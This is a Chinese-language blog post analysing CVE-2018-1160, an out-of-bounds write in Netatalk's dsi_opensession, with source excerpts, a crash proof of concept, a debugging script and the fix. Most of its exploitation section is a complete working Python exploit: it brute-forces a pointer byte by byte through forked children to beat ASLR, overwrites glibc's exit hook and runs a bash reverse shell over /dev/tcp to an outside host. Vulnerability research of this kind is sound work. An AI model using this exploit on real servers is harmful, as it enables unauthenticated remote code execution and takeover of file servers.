CVE-2018-1160 Netatalk 越界写入

“世界上最遥远的距离,是任意地址写和ASLR”

分析

首先查看漏洞报告中的关键信息.

Netatalk before 3.1.12 is vulnerable to an out of bounds write in dsi_opensess.c. This is due to lack of bounds checking on attacker controlled data. A remote unauthenticated attacker can leverage this vulnerability to achieve arbitrary code execution. https://github.com/advisories/GHSA-j675-7hvj-qfw5

搜索得知Netatalk是开源的AFP协议的文件服务器,下载源码到本地.

定位到漏洞函数dsi_opensession.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
int offs;

if (setnonblock(dsi->socket, 1) < 0) {
LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
AFP_PANIC("setnonblock error");
}

/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);

case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}

/* let the client know the server quantum. we don't use the
* max server quantum due to a bug in appleshare client 3.8.6. */
dsi->header.dsi_flags = DSIFL_REPLY;
dsi->header.dsi_data.dsi_code = 0;
/* dsi->header.dsi_command = DSIFUNC_OPEN;*/

dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

/* DSI Option Server Request Quantum */
dsi->commands[0] = DSIOPT_SERVQUANT;
dsi->commands[1] = sizeof(i);
i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN ||
dsi->server_quantum > DSI_SERVQUANT_MAX ) ?
DSI_SERVQUANT_DEF : dsi->server_quantum);
memcpy(dsi->commands + 2, &i, sizeof(i));

/* AFP replaycache size option */
offs = 2 + sizeof(i);
dsi->commands[offs] = DSIOPT_REPLCSIZE;
dsi->commands[offs+1] = sizeof(i);
i = htonl(REPLAYCACHE_SIZE);
memcpy(dsi->commands + offs + 2, &i, sizeof(i));
dsi_send(dsi);
}

关键代码:
虽然没有其他信息,但从变量命名就能推断出这里明显有个溢出.
memcpy的第二个参数和第三个参数都来自dsi->commands,而作为一个文件服务器,推断dsi->commands是可控的.即写入的内容与大小均可控.

1
2
3
4
5
6
7
8
9
10
11
12
13
/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);

case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}

同时能看出dsi的命令格式.

1
2
3
0x0: DSI会话选项
0x01: 命令中数据长度
0x02: 数据

分析一下溢出对象.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write; /* in the middle of writing multiple packets,
signal handlers can't write to the socket */
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */

uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /* AFP session socket */
int serversock; /* listening socket */

/* DSI readahead buffer used for buffered reads in dsi_peek */
size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */
char *buffer; /* buffer start */
char *start; /* current buffer head */
char *eof; /* end of currently used buffer */
char *end;

#ifdef USE_ZEROCONF
char *bonjourname; /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
int zeroconf_registered;
#endif

/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
} DSI;

由于表示数据长度的空间只有1字节,所以最大写入长度为0xff,所以能溢出的成员变量为:

1
2
3
4
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */

从变量名初步判断,覆盖datasize或server_quantum( The server acknowledges the request and returns the size of its data receive buffer)可能可以造成一个越界读写,覆盖commands指针可能能造成一个任意读写.

查一下交叉引用,稍微分析一下程序的流程.发现整个程序都与DSI有关,于是查询DSI的相关信息.关键词: DSI AFP.

The Data Stream Interface (DSI) is a session layer used to carry Apple Filing Protocol traffic over Transmission Control Protocol.

A session is set up by the client sending a DSIOpenSession, which will include the size of the receive buffer the client has for packets (called the request quantum, typically 1024 bytes). The server acknowledges the request and returns the size of its data receive buffer (typically 256k on Mac OS X Leopard).

Session closure can be initiated by either side by sending DSICloseSession. The sender does not need to wait for a reply and should immediately close the session after sending the message.

Maintaining the connection is done by tickling. DSI provides a mechanism for ensuring that client and server know that the other is still active. Every 30 seconds of inactivity, the server sends a tickle request to the client. Similarly, the client also sends its own tickle. (This is NOT a response packet.) Either the client or server can terminate the DSI session if they fail to hear from the other for 120 seconds. The client may also disconnect if a request is in flight and neither a response nor tickle is received within 60 seconds (in Mac OS X v.10.2 and later).

嘶,这格式怎么和之前分析的不一样啊…..

查看dsi->command的交叉引用,找到这样一条调用链:

1
2
3
main
->afp_over_dsi
->dsi_stream_receive

最后的dsi_stream_receive函数便是解析输入的地方.
稍微分析一下,解决之前协议格式的疑问:我之前推出的格式是DSIOpenSession的payload部分的格式.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];

LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

if (dsi->flags & DSI_DISCONNECTED)
return 0;

/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];

if (dsi->header.dsi_command == 0)
return 0;

memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}

if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;

LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

return block[1];
}

写个Poc打一发,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload = b''
payload += b'\x01'
payload += b'\xff'
payload += b'a'*0xff

lenth = len(payload)

header = b''
header += b'\x00' #flags
header += b'\x04' #command
header += p16(1) #request id
header += p32(0) #offset
header += p32(lenth)
header += p32(0) #preserve

io.send(header+payload)

在解引用rcx+r9时崩溃


对应到源码是,崩溃的原因是command指针已经破坏.

1
i += dsi->commands[i] + 1; /* forward past length tag + length */

既然无法直接造成glibc级别的堆溢出(刚造的词),需要靠之前提过的DSI结构的几个字段进行利用,那么需要进一步分析一下整体流程,以及这几个字段的使用.

仅展示部分代码.
主进程循环通过poll调用等待连接事件,通过dsi_getsession设置会话(dsi),fork出子进程在afp_over_dsi中执行dsi命令.
套接字的socket,bind,listen以及会话的初始化在configinit中完成,poll的监听集合在init_listening_sockets中初始化.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int main()
{
......

while (1) {
......

if (afp_config_parse(&obj, "afpd") != 0)
afp_exit(EXITERR_CONF);

if (configinit(&obj) != 0) {
LOG(log_error, logtype_afpd, "config re-read: no servers configured");
afp_exit(EXITERR_CONF);
}

if (!(init_listening_sockets(&obj))) {
LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
afp_exit(EXITERR_CONF);
}
......

ret = poll(asev->fdset, asev->used, -1);
......

for (int i = 0; i < asev->used; i++) {
if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
switch (asev->data[i].fdtype) {

case LISTEN_FD:
if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {
LOG(log_error, logtype_afpd, "out of asev slots");
......
}
}
break;
......
} /* switch */
} /* if */
} /* for (i)*/
} /* while (1) */

return 0;
}

static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
afp_child_t *child = NULL;

if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
return NULL;
}

/* we've forked. */
if (child == NULL) {
configfree(obj, dsi);
afp_over_dsi(obj); /* start a session */
exit (0);
}

return child;
}

接下来来看会话的设置.

1
2
3
4
5
6
7
8
9
main
->dsi_start
->dsi_getsession
->dsi_tcp_open : 读取dsi数据包,建立连接
->dsi_init_buffer : 分配(预)读取缓冲区(dsi->command,dsi->buffer)
->dsi_stream_read : 从socket中读取数据
->dsi_opensession : 设置session(漏洞函数)
->afp_over_dsi : 读取dsi数据包,执行命令
->dsi_stream_receive : 从socket中读取数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/*!
* Allocate DSI read buffer and read-ahead buffer
*/
static void dsi_init_buffer(DSI *dsi)
{
if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}

/* dsi_peek() read ahead buffer, default is 12 * 300k = 3,6 MB (Apr 2011) */
if ((dsi->buffer = malloc(dsi->dsireadbuf * dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}
dsi->start = dsi->buffer;
dsi->eof = dsi->buffer;
dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum);
}



/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
pid_t pid;
SOCKLEN_T len;

len = sizeof(dsi->client);
dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);

#ifdef TCPWRAP
{
struct request_info req;
request_init(&req, RQ_DAEMON, "afpd", RQ_FILE, dsi->socket, NULL);
fromhost(&req);
if (!hosts_access(&req)) {
LOG(deny_severity, logtype_dsi, "refused connect from %s", eval_client(&req));
close(dsi->socket);
errno = ECONNREFUSED;
dsi->socket = -1;
}
}
#endif /* TCPWRAP */

if (dsi->socket < 0)
return -1;

getitimer(ITIMER_PROF, &itimer);
if (0 == (pid = fork()) ) { /* child */
static struct itimerval timer = {{0, 0}, {DSI_TCPTIMEOUT, 0}};
struct sigaction newact, oldact;
uint8_t block[DSI_BLOCKSIZ];
size_t stored;

/* reset signals */
server_reset_signal();

#ifndef DEBUGGING
/* install an alarm to deal with non-responsive connections */
newact.sa_handler = timeout_handler;
sigemptyset(&newact.sa_mask);
newact.sa_flags = 0;
sigemptyset(&oldact.sa_mask);
oldact.sa_flags = 0;
setitimer(ITIMER_PROF, &itimer, NULL);

if ((sigaction(SIGALRM, &newact, &oldact) < 0) ||
(setitimer(ITIMER_REAL, &timer, NULL) < 0)) {
LOG(log_error, logtype_dsi, "dsi_tcp_open: %s", strerror(errno));
exit(EXITERR_SYS);
}
#endif

dsi_init_buffer(dsi);

/* read in commands. this is similar to dsi_receive except
* for the fact that we do some sanity checking to prevent
* delinquent connections from causing mischief. */

/* read in the first two bytes */
len = dsi_stream_read(dsi, block, 2);
if (!len ) {
/* connection already closed, don't log it (normal OSX 10.3 behaviour) */
exit(EXITERR_CLOSED);
}
if (len < 2 || (block[0] > DSIFL_MAX) || (block[1] > DSIFUNC_MAX)) {
LOG(log_error, logtype_dsi, "dsi_tcp_open: invalid header");
exit(EXITERR_CLNT);
}

/* read in the rest of the header */
stored = 2;
while (stored < DSI_BLOCKSIZ) {
len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
memcpy(&dsi->header.dsi_requestID, block + 2,
sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12,
sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

stored = 0;
while (stored < dsi->cmdlen) {
len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}

/* stop timer and restore signal handler */
#ifndef DEBUGGING
memset(&timer, 0, sizeof(timer));
setitimer(ITIMER_REAL, &timer, NULL);
sigaction(SIGALRM, &oldact, NULL);
#endif

LOG(log_info, logtype_dsi, "AFP/TCP session from %s:%u",
getip_string((struct sockaddr *)&dsi->client),
getip_port((struct sockaddr *)&dsi->client));
}

/* send back our pid */
return pid;
}

于是我们可以得出一个任意写原语,覆盖dsi->command,再次发送数据包即可在dsi_stream_receive完成任意写入.

1
2
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;

利用

“世界上最遥远的距离,是任意地址写和ASLR”

利用环境: GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27,保护全开(CANARY,PIE,ASLR,FULL RELRO).

由于ASLR和PIE的开启,我们没有任何已知地址.常用的绕过手段是Partial Overwrite.
然而command的堆空间是mmap出来的,无法通过部分覆写使其偏移到某个空闲堆块的管理指针.
(图中0x7fdfe6658010即command指针)

另一种ASLR的绕过防法是Fork爆破(更常见的是canary的绕过),由于父子进程拥有相同的地址空间,可以使用子进程进行逐字节爆破,若子进程崩溃,父进程不受影响.若子进程正常,则说明该字节爆破正确.
而据之前的分析,该程序处理的逻辑确实在fork出的子进程中.于是便可逐字节覆盖command指针进行爆破.

这里提一下怎么验证地址是否泄露正确.
先set follow-fork-mode parent(因为子进程会段错误卡住),然后continue并开始爆破.由于command的地址空间是fork后在子进程中开辟的,所以需要切换到子进程才可见.set follow-fork-mode child,在dsi_opensession下断点,然后continue并发一个普通的连接包,当断点触发我们已经在子进程中了,vmmap查看地址布局.
发现我们爆破出的地址并不是command的地址,而是低地址空间的另一处合法可写地址.
不过稍加分析可以得知,这个地址与libc基址之间的偏移是固定的,调试出的偏移是0x5245ff0.

glibc2.27劫持控制流还是比较easy的,直接exit_hook即可(CTF术语,实则是_rtld_global._dl_rtld_lock_recursive和_rtld_global._dl_load_lock),可以在exit时完成一次func(arg)的函数调用.与传统CTF不同,这里需要执行system(bash -c “bash -i>& /dev/tcp/172.17.0.1/2333 0<&1”). 因为传统的CTF pwn时直接将标准输入输出重定向到网络连接中,直接起shell即可.

(下图中应该布置为__libc_system,没有那个+32,截图有误)

最后提一点,看一些wp中劫持exit_hook后是断开连接后等待相应进程退出(exit),其实不用等,从DSI协议标准中就能看出断开的方法:发个DSICloseSession的包即可.

Session closure can be initiated by either side by sending DSICloseSession. The sender does not need to wait for a reply and should immediately close the session after sending the message.

1
2
3
4
5
6
7
8
switch(cmd) {

case DSIFUNC_CLOSE:
LOG(log_debug, logtype_afpd, "DSI: close session request");
afp_dsi_close(obj);
LOG(log_note, logtype_afpd, "done");
exit(0);

EXP

注意字节序即可,DSI数据包是大端序,程序是小端序.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
adbyte = b'\x10'
for i in range(4):
for j in range(256):
try:
payload = b''
payload += b'\x01'
payload += p8(0x10+i+2)
payload += b'a'*0x10
payload += adbyte
payload += p8(j)

lenth = len(payload)

header = b''
header += b'\x00' #flags
header += b'\x04' #command
header += p16(1) #request id
header += p32(0) #offset
header += p32(lenth)
header += p32(0) #preserve

io.send(header+payload)
ret = io.recv(timeout=1)
if ret == b'':
raise EOFError
except EOFError:
log.success("except")
io.close()
io = remote(url,port)
else:
# log.success("success:"+str(i)+':'+hex(j))
adbyte+=p8(j)
log.success(hex(int.from_bytes(adbyte,'little',signed=False)))
# pause()
io.close()
io = remote(url,port)
break

io.close()
adbyte += b'\x7f'
leak = int.from_bytes(adbyte,'little',signed=False)
log.success('leak:'+hex(leak))


p.leak_libc('libc_base',leak+0x5245ff0)
dl_rtld_lock_recursive = p.libc_base+0xed4f60
dl_load_lock = p.libc_base+0xed4968

pause()

io = remote(url,port)
payload = b''
payload += b'\x01'
payload += b'\x18'
payload += b'a'*0x10+pack(dl_load_lock,64,'little',False)

lenth = len(payload)

header = b''
header += b'\x00' #flags
header += b'\x04' #command
header += p16(1) #request id
header += p32(0) #offset
header += p32(lenth)
header += p32(0) #preserve

io.send(header+payload)
io.recv()

pause()

payload = b''
payload += b'bash -c "bash -i>& /dev/tcp/172.17.0.1/2333 0<&1"\x00'
payload = payload.ljust(0x5f8,b'\x00')
payload += pack(p.system_addr-32,64,'little',False) #-32是因为docker的libc和题目给的不一样

lenth = len(payload)

header = b''
header += b'\x00' #flags
header += b'\x01' #command
header += p16(1) #request id
header += p32(0) #offset
header += p32(lenth)
header += p32(0) #preserve

io.send(header+payload)

io.close()
# io.interactive()

调试脚本

1
2
3
4
5
6
7
8
9
10
11
12
target remote 172.17.0.2:4399
set follow-fork-mode parent

# b main
c
set detach-on-fork off
set follow-fork-mode child

b dsi_opensession
c
b dsi_stream_receive
c

修复

补丁就是加上了检测,限制option_len必须等于sizeof(dsi->attn_quantum).
(有一说一,我并不理解补丁这里为什么不写成常量,attn_quantum的类型是uint32_t也与机器字长无关…..然而修复前的写法更是逆天.)

1
2
3
4
5
6
7
8
case DSIOPT_ATTNQUANT:
if (option_len != sizeof(dsi->attn_quantum)) {
LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
cmd, option_len);
exit(EXITERR_CLNT);
}
memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);
dsi->attn_quantum = ntohl(dsi->attn_quantum);

Reference

https://en.wikipedia.org/wiki/Data_Stream_Interface
https://xuanxuanblingbling.github.io/ctf/pwn/2021/11/06/netatalk/
https://github.com/advisories/GHSA-j675-7hvj-qfw5

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信